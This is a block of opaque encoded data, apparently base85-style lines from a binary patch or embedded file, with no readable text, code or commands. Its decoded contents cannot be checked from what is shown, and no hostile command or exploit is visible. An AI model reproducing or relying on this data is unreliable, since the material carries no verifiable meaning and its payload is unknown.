zv0^X3$KAG{?%^UcoVcz_K3MMSNMeEW;%nS&d5l7eA$Oqa?_KbFZBtN`tWjJH^94i4 zfC_`_!Kp)wUvwXS#C$IMSGxmN2)8>3p9~9p@D09H15^z*4{eTG0*?@IPw|~5`}sgu zA)()V2cQo0oCl3h4iJNYvjX&G6xoW#edANoj>+c`6i}~W0!lprLJAOIGLRV!fyYw| z?|i1)>hrQ**M;}>JDi}V1A_UC)Xd+Nb2Bt1FZ>`)>T+*Ct`$lg4 zvY?G^nY0W@A&Zc%pk0EM=Fq)aueZ{V{bsBJvbr@oM}mX#zsr3JZ66KXHfE ztDaBgEq}4z3rM={0|Jimzm#H@*jjCZ@P|D#P)%azB5?#%dz<*JRQjpYfupmtzS|(f z*?cVc<80IQ#8;3V#I2C0zC^Iez za@9P$`IXLdcKz2#tOFn(50}F2%_?Bmn(%VBNXogJhs}3s;$L1rsGZJI&v93BJ$3Kk zHtUU)-fw(1XI|Y^?pRo(X#$LSBy10t^Zp~adnw_?$1kNDDoNGDzJ)Q0kLo3kQVLG) zaAZrJQdEW~huz6xqH5%2l}d{iQ!1%-o@mz+nhNX@Z0jKb+=UWmQI^Sw`;~o@D9NX| z8Z;^r6W1eaYRf64Nh5@NDjb+}q1a)72~~YjS2sx?7vh04A-br8xJmgBR0sA)8Q(X> z4ds?8cUS4f8?tWms&b!3ER*s(0J2<9=s3mw!$$M(toq*#lRJ_vF?Ju9Un|gsv=8fI zp(jal?bDUc%at4(FHW~Ms^}KZb-5&3UA}PkHmjZq#J13K>~oX9juEMaEM^ZY#RXGb zN!M25_97P*0r;V0)Rnn0{K$Z=Mj}hGtiuYXl@hDq$<88<0t^D)Y}1%XQ4dKkaVESF z*i!GJ)GfZK;JLtcK4<>&42|CMe1{}>4Se}$s0 zlvg};4y^EAUkWzHjvB0*omX4Ac3IkN9{cGIa^_#S-Y>!adt&S+J+5-r4lCEK^b$qC z2L}$wbeSv)vC#GHjb?*xOFOth~NMw>=AQrDhNBH_oBgD?irlg`vcCxDX>be54?< z8Yyv!?AxX1I*DzrubnGrDGDlj;L-TQIy&>~b^8np=_K(iL)k@$CrC2Q~}uJcnS^& zg31gr1`pj4!>j676BHLCiY}rwvi-I1^ZI!tk96APa)_opOcMdU_&lOK@hdg%a0wO!BHp+Ah(y9-;n(#sY?(3R18rUg1d z%2-BqFWe%M@kPCZ#v;h@U&G>dcK^~9W`nMwIXa$P|xT2WSWq~BP zvn$pl3L#2(lOx#{1T^b{n==8+m=gCh1K0uqL9MPq?p(*^<;IT6*{kxODj%(arGR~z z!6k8Rd9oJV8!r&!Cjq~OTaO~k@E`X_kk5MVGujN?7JP@Zyfu1{N`*gj zkn!cu{Gy#F5HnA+9i}(0$cP8uRUDZ#doC^UOGw)aOfVr@kTP*ezzt$huVj+>g6c*^ z2s>ou8@0e37B{V(>Q%0fN4gp5UI1N$40w;QJPHRJ{rvFYvC{#hi->Aq>_&;fUMNC4 z9mGf$*z&8+Ay09Femi=0qz-dQy;P9~%d-YaZr594T%XZ_@0`o~Xx1nV0xh*BUxS zP%MaVR}&J^xDyhUlzX|XPJL?S2HqgMbGhdtykIRb*8U@N*76{ zA8E5X8l<|%xTNT2{wVx>hp?kdi14_W4src{N+93-B>|q>Mk!6*DRi+XOB`*{*MUk| ztc+iWk@~(3D9G`0JJ*0AuUu>`^fL+BV`bi7;1Kc&1F0=tRQm)kE(~%S5Ty|WCMx+r zoj@Ssfh&`}C`Kf7h1-$~J{?_P;!*Sz^tAr)2n z*O&W`v#~wvJ4(KUjJ|XvcP&+eBg!XAT%fT5c6XnKXKK_}IbdJWd{-KCNoruN?QLF^ z*5)^91Psv)K1q|ONRX6Qkj#|ZW8i9kdxvA3hXS$=^Zlsm%R3+WC8%0)leeBw*xp2z z>vld~0aw%onX>~rUN(wn9?}(-WY;wPqpF&0Uq*Yruu)IMqcnsHVgd)^(W>!Ia`X)7 z+r=L@HNC5joR>kf>wO3*YFs6PiF7;-W+Q!43|O(9I5lx2ko#UJ6TGiJ)q?qarj%ou z4ZRn}raAtayFgU49fW{MP7{aa{kA=p@ao zvU{Z3=<{v{n013_f`~gf{Kvu%EME$gFN}L#uxWe5aI)$LD&H;dLrY6MU^jOi2v+};z&>9b&Yq#G z$3biguJozIL(y>n*SV^v^0+A>&u2vcd~ZEqP5QO+G(hJ7vb@WVlnu#z8FT`M#4$wA zm=AyOm{GCSRcu6&3Bx`--rh93c!l(n`gczpx^^f#v~x1L5f>3iEQAu}5StE=Q1B z(8hq7-2(25Vk9a!cT-j^oH)j1~J2~rynG8D*+8ngyx1R0mBo2cWcvol;D+TYj~=r^?W!!cihO~Stf2^}nj0gm?W z;5jlef#A4-5dJ((6DJ+m3RoR~Z3%O!t26X^5;3lkbLDmnF z>Oih*4(UcUUtvu8g^F$V$^>-*Vu1J`pVegDQ+}KYeHD;`=VeyPI*b6`SZE`!sJ>+q3+bq^$(jYhde=2b&J>5bRocomd~stITM&oZTW z2XHb`3-U_mm7k;DTY_pJ-62ro$p+HtlKEQ&uz_>VZ)``k&AMgdEK`r9+;fAZsN2>j zUUHUo1>RH`%_ChQo5Al>Q~aS};#cvj8Ik@F){jYyQD0lbUR&3Fc2Q#8W9#Y6&npPF zex(=krGbxXnU_)LR7I-7Edgal-C+`f&KfQ{(Z=&roTvI*Pjr(;#?8hv`bD)pf21%E~n3Ds#um>m?)B~Ig|dN0bJ z4hT;Y4U>ykN&ea$OCFCEvzonP(vOTn)|s$qxJDon?KWtmzQ>RF#^e4Xcr*1x zAuRZAUA1Y^ZR?i3#`>EhI-7ZFRnhKRDZTG-mMR#Aok1vXJhXe5(T%5DHbt*v=8Fxg?;i zOg4nG)m2Tm8s*xt=^Wmeyz72?r(Ra1>kc7b*$|^?=`V5WiB?7i{M-cc8At?f`x#&+ z+Oymuc`hd?tLh}Uv!jB2iw#<0ciytZie8=+`C^+|*$rFEIhN2wXBkJC!h>+!{Zl~? zXQm$9Uk|aCMyOImNkU{>iYR_5hQ^Ucv}cmji35etz<|ZZbVmbOwwbJM`6+=-trt<-bC}oy2C7xiVDmrKgw5Cv0rftlMA} z4mUNAo?Cn&cr93J}@Qs3Q= zQ)@`Qyl$06NQPcKVRGrS_VSruXiPAW{8~`4ZQRsC1f62}Uc9!dSGwj^-Fbc9K<{&J zy*Q+Li~M|BRZ3ErZx#w(TK^>(d+i@(FM@-lO4f(JpymS8FcdLsHJBi@`rnJ7Ar`M+}*c`a5c4VS&|sp56)i)tfO-3T6I_E#f9 z{kL_THc&Mt?O=>67P>vW0%F|Y?plU`7PfXuHdG#7OU!5e%o6*F-COM@P(8)-dBxs{$a z#_~B`H^pYMy3JxLnf_Q2s2QW=kGAkLCe$iQ5CLK^L-ED#uwawI{mN4vHm1LA93Be4 zKC4*wq^EnVM&pD(ETBlCsi|Bk9P*DSp-=20l@d(4Z8hh#m2gHj`Qv-EDNi|!SW&&V z_S;qW*9sz__X0(Yqf5MI{({@^X(hBfgyin)=ttG0@$M15uz_u$x{%VZBg*I;gh(3sgPR7hE~(dXuCD#lEL0)e!79eK(e%RU(SaP2D*` zjhvw0ar-eWz7sE#o>Qx6rzsCerQ|Clo_55^F>sywf-w1R*73|vKt0XOZeyb3?15a? z<@slcr4f$zo~x*M{JI(IFtvysKm^mi|DmIAJ4bQC%Y~^yqlA@+U)B;zLh_Emb(r}e z)1wobUX58Y(Cm15IZQT?C{B^87<(lyXsoufKu$v?H82K{J7b^BX4C!eV)929O^@xShI zg-aT?4SN5)?Hlx*L4W^yB&I#GmxJ#}WMwG|Rlk(jDql)bCZ*uJIv1}_DM|a)5V|Wr zc3i7fOv>R-^7{H!_4C^m@5|>_Dz}aKd{F1InvSvoI6AmTxN{q3a3yAf=s_wifn{LPJ>a=b zCa5|ps-8&XavvY&Wq(wiZ1`-z1(xRrx;hXsS)I%)nylSmN0K2wf!`1_ zB&c13n4}WB44Uc_ffe47UHQ!KMuAep7n)Mu-X33;3=KL1w*N<0TP9l6zQjTU=3)4~ zoj!ud3VTg{2&z+}~J^^bWNW#jEe_rF0Hw7h!`>L4WtJsYw$VibUJC^rZKouFEi zcFX!kLeVQHJFAI{nUab7Q{qN*e_^C`L(R3_+R0@0#TRDfv@SE#^{+=@$s=6S-pSyAFnhM$)}SN z(5|EGh)InXkT|$KA=a3G&~h>_gT}STZfj>#pusJ+n-`q@Kt;`&C|Qza#>+iq9q(GTl~p_1W0XVTE&M(g%;T6~exG>ipj0L(J%U_6#_}JZ@A0 z-d<{ztnQ)ZIZ4jY$6o9zXX_Ij@4X9|;%m_5i@EVnR>uGS-TSxit#f3)J%d|dhpjq~ z-^z|!S2uocq!+sMy>|@kptB`BpBD<20z3#5s7+|sI7R3(x~m)naLTTfLWZwJ#VTFQ z*PWo?tJK@0c1}8LaX|+5pRmZ@IeK|z8|@64)9Pzx>;T6inRPB%Yecsxqxx$bZFVXJ zd(WP4IQuB;{u#r%&L%ShipQ_x*s-Z+4~u?SMYKwh{V1|{1qu%y-L=H-VLDqo-E0z< zVYyDVvyhM{Y0-2CO~@X9=<Z~9kX}L&5EM{p(vjYzcNC;cXi1PNfrJtw3Gvy#=hc}r=bm%_ z?|IIdJ)0MqVJ6vg?RBlSuJ!$VIm%?c&9bkzsYCI&NvdGFjl;r@<#SI#IAIC3G+2L6 z`MT(BNxxPb8-D?7;mBJOmGc9<2VRJ}kT}QbYS9-E3~w_`qABg?m>;I1JqE*{(TWp6 zGL{3Q_XTRWu&p8Vi>RdSvE28ae5-9HpYH0z${uD=g~mhTnlpO!=>T&>Z- zUHGLDT840jnUhVaKdIdZ9R;MfXW6)Xy=^nZ40?YxFYnfJ{_Onx<+bldWXaxaR4j3b z$e8&H5Frokc0D^#yPrrcWsIQgZV&Df%VYba<)ZXvI;XK+oE`wJOU#?h_Y;A&CqhAF z@b|dp)7^-_G!x`AlW$L3k?~!^T0C%}JMMtAlwVl^hXC(7!2P@Oh`tKnhcboM+;Vfq zwN6BSmrgb+G>~fgZ4tzw#fSl-7%BTj_9%7Y@TnZNU99Vn`j_TmJ%7z>0Mf<-Q|}Q2 zBC*>l4_rG}9l`D~A0eGiweeor=2c=%k9?Xe74qlpbB@#5gB43^6IYm+KFN*PdiK7< z3CqIH0`nRqTA`}T?%3JdNvX+BeZSoMS>eKGsnb-@*3KUVObt$wdD`c3=1#yL-K#>Z0~#viw-Qa`GB_l;+(96Reo`L4& zaCg$n&|g+Px$}ee2yEAG1)**e9LWsJzG!)f7JCiM%kB*IS^^qU%p#NW@_DnA4R45L<8+nzrJHFN29f?x73dr@ z)?Jnse&tVSx1J)b^Q8z^qR?jyEWS;d-Gl85OOBlL<=ho4v!KA*@F2Rbkp3C#SWNdgXb^C;dZoom%0WXo zVDkeZcN!)z2v*N#RoiE36AZcYs>DNM?t|{Ps}fo_LTF#o(m4wl+1==jo$eGQn7mqJ zXZuNN?h7dkFY+{%o2^2{JWA*Nb&HMr)$zFw)m38GS+0DCX+B#sDXOTm_|;le8zpRjbsDZTR@JW=qSpyO8iShx>u$4C%pLuavX_!yEs7!`_mQcAiEj2 z2X_Aam*#1!`OhuJyIO*d&S`(ZC>g5*E#tzokj2jFNaZ_B3q+ z7#vju!hDgeO74cLAS#CJ+6*A@8R*8Tf-A(R)BfWBT@*#OaDbU zX8fy1^}=23HHU>1lC$J<8>i=Wdi}yLcbKbHeP6C{&uFQACyYT;cTnjbobIPVc}r#^ z-lcje_QkQ{X`rlU&88wR(eEkqcU|xhL+}dhj@r*UE`AyzOlz7p7J4*iH;M> z644*Q3ov8**;z>wYt0Fj-a#+Iha9A5#+H_Q>-ihDg!OqE9Q(YJ;0xyk?92T*9(K8j zuxhXpYSvD=*;!3cuCKgQ^D4I{yE{Dgt8Dh)jXdnO9{YzgjQ#q<=eET^*AS6q$)+(qs*%SOsU;N>h~dr5n=X z(_NlBxeqT1-?$~KFTTmY(Wyva@9TQGS~s-YSLyC>t*&9F!TtK4Io4=P!fV-;`a3k4 zdC(!`DGw94-GWi}v%#OWK{NPW5|CEXq4ArM$0N>l^AzptNBTB8Ts>|T4kNPKXmlB` z^FKSGruUBpN{91%0&w<1#4kV$)4>i?I15Q9_giN-GM~h#c<>4o2cyb(`ox>la#~E& zxeWPtl#VpvuLy<2=Oicq-s`J@YfLqOKrp!GhsR6X4=b5u5{QEgS+~EvWK=ZRCeMvO zR$>_Unnt)H_&v2WN%Uw4&+kh@iR5M8CHn`fVK!(60g*0L@ZF)MnTD!BrW4si01TB3 zW(@rLXv?-Bg`(n7#(41k{pr`D5ZWR9Ta+o9?4)w2kE4G9_zbQJP}IqCTY^<{u^%Bt zMp$2gm7lE%JNDP4Z|J%S7j$3Ah}X2pzHK_Xs-chVin0{tnK@pKfz}s+KD%_ZL|b{QwJosa z7Zz_)^?%GJQ2Izl6^j%p0zl&uq^KwSHUxNq4PT3>ylw4XZv%}zgFL)9>RrWT#~&4n zckhJK@_>z0ypEmg`^CFhItA&oT0E}wZ9&w%;S1>k5BH_&b%h2lT|>tPiT@JS4L{DraV+X1UA zLhtC?J7(uL44qg5f-k2C@85m-#XPQ}5hk#!MZdku*U25xj}nA|jT;EQ$#U17+ov1m z+Ea|&QVx!bt@{c0xpY`NihC;y{h)Hze)l39e^kFHuJ&qEhzU&W;(#Tbt{P82lklka z*(w%1KPdXDAvs$uO%tUiH9Z!p53z!aZdOV|0Hzb(HD-KwPe@JI^cG> zZmpPtHHB#2t_Hq7@J077e(&mr&~$q>+u4Q}cQ%w*9C}2zuWzIlMcM_W4L^C!E6Wt2 z7{NjMLr_PT4kCB}gj7h6x}7!LsSwurO}{MB`si(-`_cCOrRxf}UXL!ATJlFRE~I5K zG4o$hotR^^+ zLDsw8GMI_PXN`#@&R^lWTsnU1gLmsI9~Sv+F$=iRhYBBD>*9@Ig)w4X%P=*(l)Gwb zmJSTLzaPdLfAcL}8Xj&9ZxNL7==hMMd$CX|lAjBNG3=C~TsGasL@S#P1YlSa zzv^4hq4r0Pg`al4fE9(LBO)K5gT!x8RPr^hz@QiwDqOy63P%gNI z%ctdK@pOwO2cW*TOBfI*6+W_d3}%()N*~F+b8usho7W^8T4wz zxGhCcHG`}R55n`rO>2oQEj{)W<&PRUsM>g^*U+MtZQA#$N#GZgHVxYa$NLE{zPoXYLoPmNO< z!rNQv{H|bm^dOe5;<8CuQZ&pp0Aa^5bguz=0j^DgT;KO|!ygXWj>ncLzs|CwOI7wX z97n*MeM!6^C1S$VGwN09445H;jg-v$yU$d&99C#nn--!Qq*C;tsaG53Vx>n9p|^iU zCzuZj>v_RmNEM*|Sf%g0vHI8pfNNQ~RIZ>34du$?#alQF>D{bL4VF{6XoLP;grFMI zD}q8d^uiICWT$0t<>FX%=6jZbNhH)|RIjAXFCayaX4BL;?Ib>4qQFp8{3bH->Wk zqpum9Be~NpEu_xfO=Ygh(z*c)Hze7S?EookB1XtMa0Kq5T8zmHQ+Mz82p7^9vTI0a zp`X*EYf^+ajPzpP;aU1l!2|3l$eP;#ly~u7`3fw+4%vI>YHN}~mg;F(o$)&87s#N; z@QG4739Nnro*3~eV0Zr<{2pGvA4jhNL5sLfKb{srDKyw>q3h(;B+L3FU+Tzq3v>8I zg6e8sXP@Km_ls&bMtuDQ$GFSQ4VDjLZq zO&1(yk;D=};4?{ZNkA!c={X~1(F)&6TQn?suI% zmbERO;(Sx8sQl8#;LBfS+xeNl8xIjfh`3V(;5&m_CCT(zw#6oNn3bVO2<_=AY|65H zBk1djX>Ev;5mWF7EH(X_cn04QBmaf}Y-wEM>vQ4(tOuRjnF)EC$QYMk*Z?ReJ|*>~xN_ zv*XQL9U*hSYGyR}VDmbg-+uh_=-XRQWuM7MyfTBnn_m?I+!)Tmt-b($sV|gzMa2p1 z$#SgoF^!2gLwrkZLm%LRh{F^6&IXs07d^dwTMs+2eA84efOEH81P}d6I!{<~4~t%& zi-hYJdZM`f`-HQ8-+uKeQ<^HzpG0HjCf#?A(RhzfE0GjH@WKG@EbqK+_qzo@&r19_ z76`1^;22}i4q~Ez!)(S<&2)KQHe8f7Of%y7c0q$$aznww#F}savh0vv{hWr-S~BE* ztzGzKo{lfNDoIa`;wEF?DKRew{NlYeVe)VQU|E5m)m)$`HJ^Qy58P*Bzj)6ZkbT0Q z$c@azyz{F+Nq_uHPX>i~D~@`3HZS|A%e8lN>x}2ns((KYET{ryhTT0R2IFV*O9R%p zW7ZqJU0sa91`YY#IZ`bNx9RrAYYyJd&fb3?BW=;q*Nxz#-hs)it;FL&YyB(2bFqmH zzblr7EPj|;d7pMQjIrBBj0Pr)vv`>QFJgxGi#F#WkEK%g8>)Y46~GkZ(N~Nbt7Yf zr42Vl3v^(=0YdnyDBNK#f;D1-V+#et2lCdD-u2%(HB`Pa0nc~&T2*PrWe=2Z*NdDL z*Ht5N(}yetZj(?6iYRGqt&8-a1B#Dbo6Udcge_q5sHm1NEc_D%nP~_{FG<`tD%2aW z=-DyE1Rt*FUj&@0pHjT0jQ+ixYJ+bG}!cYpcZgff?7ZF0*rUl zoMepg!%lFGT(=}j%Qu6kgw)t+OhH?>Z8)VkAPwb@ii2q1nS z39W(8%M2MInY=oM37w7JA4b~*AM1paEZe7Z&Wv&!UU;z~ZJm07QtAQzs9Y>`&QUkw zISjm}kAo7j0c<0e20I=FzUaZ*$xJXQD-{W_j10c#eQ|=dxYAG04*r*>EhP6Y(}l5@ zrLu! zB?D0`1$k=@j&I5>c!ICf*vgm zd2toLm0#O1gY6R!M1elVkZ2S}^PX{Qikvp=$_l6p_o{T%B9qH8)u*Gd_06V8p&YsV zHvi+Zi=R4mNM8tx*sC+}OZYMLc+>?Lc}Vd2oPfqZ>AGGYw}(HBN&j;Hr_;0b=4%?v zn_oA3o4~KNu2TYmu0d2^7gLw}ts_nI#lauTBIo-B>HNDt9gNVWFFx*5cu@AoM*COI z%Gk5pB9WV@8LMto_8=6+0@yD43Ipn5ksu71&4xsaZqE1Rs61TtR8y?ra!R-XZx3>j z{a%}@TI;&p2pF>RQ-46YBQ8BiVQThjG!6VwPRp zdP}BLJ`+hHa&PIifGh+RBxn8aqN3a;)sr3I&u8IIr6ev0vwIliHN~dPgSFB#_;5_R z*RGAJ>QkhuWT4;rdRpA_hPZvZ_56q509Lyb41YxWh=tHZOn^RYovOVmF%t3Z7Zp#i zp-z_7F3ruQ{R0`}$KD-#znOLrTjM$qu)7Skm_8DbJ$XF4Vdo`sXT`3)>@C+9opXF? z!!++@BVly2K*zCAn@|&5sbPf)@1If5GvV~}2;z6KdFqpNKH71*g`rbnDnb#URzlgd zQ~{I9))E_!&O3O8*qVXg+b-h;2)A%Y<*bt%p|9Ka&Tl-NmW4@u>ccnpckyj8(carOefE#fOZgkbJ-;wCp^iLHf8fribzE*-<}vbFK7HPl zWixTy&PgIZSKO~dKX1VQ=6fd|2!}5H~4f;A438b;x zC!>5%>wp*eQhWLNW|?%G`#6LQVIzaA^PL=G+lToc-WPn@-^teT&LDqhG^9D|p4#DV zWT55JiB8*a(KV6Jk0`yHJDEHOi~|LU1$+vfSFI^@Bo>ciwfMrRdE5EMuinmgB66H@ z>w{&&|Flnlj?9^8Qkbq!He;Xz6NznVg92LT;4d1d+-CO!o96;qL+;v0Hgq*bHyLw( zxo;%3<-bI89ZGmPOaZz`Tz!&uo2A|-ys>1o0a1~C1u4~AzKg71RQ&tFEVZ0t3)_a$C?Wo zw3_k$(y7X>~cgd9*X12hB8x( z*AQac-o?Ki81mO3^9{fKFT5LOvf$u#I{5ajy!|bvPO+Ooi|WzWc-5*5!Z!29Wz2bB zI>de1qbqAd-xU@b5pL4RZ&K&yqcQI}8ElnVkX>MGF;QBPLjWhimC!#M{&W~eWHFbo z_LbOVTl%UVpl_yJZnUFs$~R#Y&i%s+0R-QcE9_uCx9N@>r*{|sbs~tdkZ1UyjO%nf z+lOfAA97|;w|$rA08@Da!$f}p1C^g*gkLXee!fKN(wo6mPK+rhrP_m2gZF4peD{ zG~`w{m;Ou~w#3o~1#z=VK_+JmMh&zYH?VbWGmqSOONzs9weK`Ll>grUvER3$T;8f% z%3D>G*$@uS%W(o4+&|z#AMJsi|0LeA#Jc?JK>w>8C(9=wcn4Ej4eh9TA^B&ck`u4=BP+<-nMPf+_cUo!uLT?#t-$qfePTSDfe zt$2J{gw5^y3OPmTNl*7{Dk#^hT^`>2RddyrV3s&(-?V72$+t7{>2pm6g&A-U?uw<} zT%-t+I!@(_92^`%P9&DR#CdssbxO#5p|miLf}E_p4bFj_qm-bK7sPkI}V z^?J8#bl;b42wUZ-!V=h=YCrOsE)kw)U^4T%X^K1YIlBhIe7N|6O1VX@iExwM;Wf`( zueL=(ZQ*;pAdiQo3^V)dt_>bF@?FsrU$53A2KvSU)~(>d;F%5^ydPZi6G?As$Ikxd zaYL?Ao>|rSe8!1mriAM-e-E8gzCn8cS(lW4NDL?VB0o$!PHDKHe;4dlnfC@MF7_d~ z@k5u*y8M!}?pn#Eb|*C{K57Z)F8c8ParLLEuz@k%?~C>#HExA7UK)KZtqn8JP{C7% zp13p69`cKOP24(R73b)O{@khX(}OB#%x^1S3b-)rCaQZXZez}8D<)md%aG^bY!H4@ z`!k{%&zICN5$C`=l1#|Lq}3WMC0%$g>}(~kCR-5`+wkU1=I$T+ zT{3vPbTW_s!DwFSfz)*4>}+*=&CaI1F1OX&u>TD^_)j1S4)?HN&a*`7C3aFJxE=vq z;0=MzzckK&$cP272ifEWrGso$WA)z)zE#p8XCX(3`K1R$&9H!ls5DW<9_ ziO`LJNvC8ZC9w~5^PBsz5!WJqb_pJ_Oe7*0cj4DQ!3@_6sGMh#&;-n}h$U)yL1Q8R z%EG1lqjzbBThVzfnIHAm!1vs1A|vD@rlGuWNjw;{+V8E!I09mqT*I*ZC4;cb@I$YdenSwIHrhB1_5kjp72_`4C zc~kx4c5E8ap?(b<0%3>xKp|i;38jb202q4XwJucY0OEp*P`EoqOlT)dRHWS?N4jN3 zS?S!0%vnc@ zzHC8^2IM1bqK^oGc?VF?ZQCM{pNIdeOqcl68*Dr;wa|i;HBvklvFIT73V1kCYZdIw zk6{Qa{MpuwhT79?j-6cZ=;Mmg_g7vFPc1TQj1;>1ec?afUIOI#LsldnGB;diPUE(V zTSyftMovL{`ki^&r)gYiyCHODL0|$Q@<{ zxw{R-ZHb02i~{CcZ0i?q3!GOu80z~DAvR8GAc{Spmv9|w*i~k);AunoFPLwr&Wt-( z0}r{@rzavG;GlB$6D#U|F@M4_yg(HRv~OJ~#tFuVJ}63+0Q068UHwup(l-5#lYgz= z_)mfv!=w6iwZkN{kx`~KXxukO;;u1;UQ4IfuJ z2mM0h*^GSnwBF!-krXik!|KB}d~mU7DQ|MwWA~Hqf^C2Jh#w!+=IyjPv$aY}<}+9K zc3lI$O9*fh*TWu*;4aNwvG?jn%@0g)*^t8fh@oEJO^yreF2t1!WU0796(4YXcu5;< z;roeVMu=S#>*6vic* zoi)|^{l%mx=m!;fRhDP~vUKB9!d068;66VL*T;gtAbK5v0w9*?3tVoLJ`LcUqX6tn zmcfBNCc3fqHh zm)4n@B2GKoe-6KGei{YvEMP7u*T7~6{cI`6nl=>GXJZucK1^6^BHFGs}4NRcCuoJH%7%A$ckUoqh#gDqw`QbYa!bN}E6-E~ zT0cONU;LkhG6yew0kMpr2H1Rf7VuE6&UoVr@o?XAYgjN&!Z~Zr^v5?ASia*^Df=p^ z9GWNIzu!lt0b941n$4W@D!cm$idugMwSDT{FrOVzEB!Q*PSN1kRjFtTnU@eAg8Y9N z?`m%TPl8n8qh;WSZ~niAz?GWs%j#<>HFyy5DhW~v^B*1Gwqw7LBFahGLaGPakZ3oc?B% z4bfs&YJ@k2fMK{n{^yPXJFrH%JK;d%RsKWz!3+rElMXWC@XM5cxo6s!ma1gsbx`pi z1v9Ji|3P%(xD(+R@ViV)4h~Ml20|I7X0-`{D8JcdjOuhi@d?!xPD-CDta#kLws8r=|UCAR5M)Lh*AWn*;1I z{lvma1$n@V#Ac{sCoC^7JKOKdCk0z(OM$ohcIH+f0g=#K8tl3MgBa$N0qi0>13ZN6 z1g#qsCz2Z8$#5=0a=`-yOeO5|dp4cw#eUfK3*|N4;Y0u7Js5UzlIZ8oab}}^CXot; z!M^^dG0X^9(?10N9Ae#Yns_7zl2{3+#~P8_ksPZ<{v~-OHs8YmL#N=vVF`1Nn_JAw zDSkCO(+!AUoL8bzSlTJd+8C()>XkWj};4~saTayKM zte`G9Tqmr2ErzR3!&T5VEL%wubu(~1+r2gG7e#;4s_O55(Keu}SXqd_Z~6t{BghPX z4+n5cc7!mffQ`*hVALZWN(#3$)?C=#$e+Y$1qvnJNbW72yZgY#8S#IqW zW}jbQ{6PMC4LV^5jrJ`U@dMh5WBg{kmJ$i@)x8+OMo}eM6x(@;f(aY( zjtuG9>(SB0U-RCu2LuIt$s8R_PA#nFKWz5$B`FLPH2OwqNxOHllLiX6MM3!0I7=4@ z2gw$-4z8<~H138dL}pwsZezTS*5*wQEFc>h~g$oww(Y5OFIkr0imwZ7?TQ z(9TfqU}4W&m3Zw*x|h-C^ItNY6JFM3OunJCCtL7>_fqu$Mwa?{$|7DYNw>D)()%hA1@5OJ$IlZ-#yZbMpJfBF*_}D(grNTyD zh04WYw5lI4F8`q%t|U`YQB8tZKs1NvPds`832rLw2ft!mtBIA<5b`c@ zZgObd&x_!P?ls@lSCL(f*$JJT zhUEJsNr3;3ME?eP1aW@wl-O8%)cU1vbm`kPQvPOkie9{xNE7=!uVbryicFN`--QF|~O%`D^sM+{K>(RR3DIbt6 zVSTw^QN4n^#Ud+TFm6pq>qd*`#AH|!p5gjOlVd$e56#;H@bHfm`?HS`yc93IRWC49 zWF^WsAGjYUu?J$o(O+rKA3c~;d66#lfgwI;mT!H`Ef~{KhSj)MPU^Z#Y9vFwI%zq& z;sS>?)Wb`M`~-4uyEfIfXOCSK@OQpo>VI2&n&=pCRFXhq!7AYFv0m&8`aNJ?IHRvu z=$e?&Sjl#iWv5~Or83q1rceF+T%UhDNX+_U_;?PP(&e$rU9d2ZDNX4VEq;@)2uxQN zx)V*m3*@3ezbmUYhXt&Q%m)d_=(>&UddGmhQP74$V(uzVJ!p+pp+}7F$Q#Jv(#LSN z$iyJxp`5w);sXvl?G30J|FbslXQ?;18~y*%&}u2eA+r%Oun9C|5O!pTyaY2JUwqg! zt1KyjT3J}4A14+4NjE_K!`gdbuy_y~@V`5CwxB~KFsbx~>=5xIU-$<+5Q)(|-*>}P zORrFQ?rxMEa$EI?%8~lW2Bat=k`UWn@LH8B8nb9H z-LQB(+xT|-TB(qkK?oZ zBNRGE-RH77k-4|z%&1c~ahP1iQqW69s=fcs$EQ;Xq(1b-AULsURp=P8u(^gL@_wwe z+lqott0dDIaz9)Q9b?heF!!&cEXJIB$#I6ZK<2 z9l}n;sG(w#D?R2+#=QLyPG24k4t;lD3wd50;oWW%qemaG!T><&amAJHotH?Ja&Q6c zJ}WF9cclYQeLcZ?mY2N3MymFawia}^=nAU>U3F}5c6mbtPDWn>XJqhaq%p!BaQrE_ zoBd^$;4|ut8RhwT6*-74TObZ(WaXZ@@Khb8|At-+M88yUZS~D4DTshr14mJBZvUk@ z2SC{qUx@DQ_Y*_-@&yPCFVl6sgP&yW%jpVSm9;)y%d(7jWnd6N!zZJ6g=FhXK(e9VU&p#Z0Bl!}# zh@B)d=FC!ob~}O#Us8ttT^5+^zh=RwG=!+s#&rt)V~k~*y3y$vaCv3T<9zDBg@4f- zt4+CmoC`sIjc7NerD^Mtr5ctMjWr1D60rVbtPFKYKrcQP@?G&s&dKL$bz5jjYNFK? z!+DS`VMugA9Gu+^?Jm~{68bsbidA#B4Nknr$BUOr!?`SOG*o}YKi9@0-GGhZ#l9}Q zmB6ybnBd*z4vv8`!WriL?S2!pQJZmYS>W5Bro87*SUE4A`*R?b7Sr>qT7CZZ8Y`4I zN^na##(^+R?=Us=Fz7#yJXwWU#rY7yKAgmQ;SL3TVeEag_+8WzO7o49am9-qIrve&A(XSQh2frHL8if7HRq^*dkn=q zf3^V_@mW)Z1WcEzOp-Lgr{rPAKEE@a)KK^=-QSi+eXlr~BcsPzIju*FyjUJ`F}kKI zf(dRh4V;@?|94n)S$4TfV$OS^xGA8eCx9;bBEhG7iOc#Y=!wr`RR+KNrtb1#jsHcF z_}?uAvCkE~{+k=-5IOlsrE)IubgQGQX5d@MZH03raD(S zRL9|1-Y(HfRKP2X{6RG}Lx`W_e`$#21io%{5fHi?-x>AEUCnAzdOwZ}8`@|$;^q}= zJtqy~=B!MJt~GrA?`c6V=>^$Rdb0<>66=x*3RRP_VlgLbw$S*73iAtjcYl_DXp+Yr zn2eXddy9LP{OyDKwTJaTxRGBfkOU;M<1(5lupPTmqFaBhYCIFY`6GRv{1n1iZl7!xnAhnc8hn$O#{SL9Z#yr# zE6BQ_Nq+#u&P$;ssT0C`gCDNit-$vCP6zU$9Np5UP(+<)!TaZocbwEiSeKRVmR14o z-2X0sHE2Q?Ag}7iDNbYO2fW0Xe`{T^OAMNCNM@GjGn?|>doKq~IYK z+BHr*#WPhcF1hS0b;8`%qFLDY8EeJwNFB-dPPtnuAnBQ--&MEQv*_Dm3@+A!v#&qZ zm9-Jdt5(X?M5^FRUq|o(K5SOFfKOXgL9dbMlh+Cg)qB2swmTbG%$_|TXTNUz(SpB#OPKQc2mstx-eOmHAy{jYcRCF2NU{Nz8PF zRM~lOEb&_Z)1Gg5|6+4Cx961BQWEZA64K1F;}U_f2f=w%GS|UbvFJ&3r#?oW7n$s& zU6i=NmK^n7F)HCtLC+n%JOUr_Gbs@Z;nEQ~C5g`8pHhaE>PQ7|?5JgV@YqShg5au3 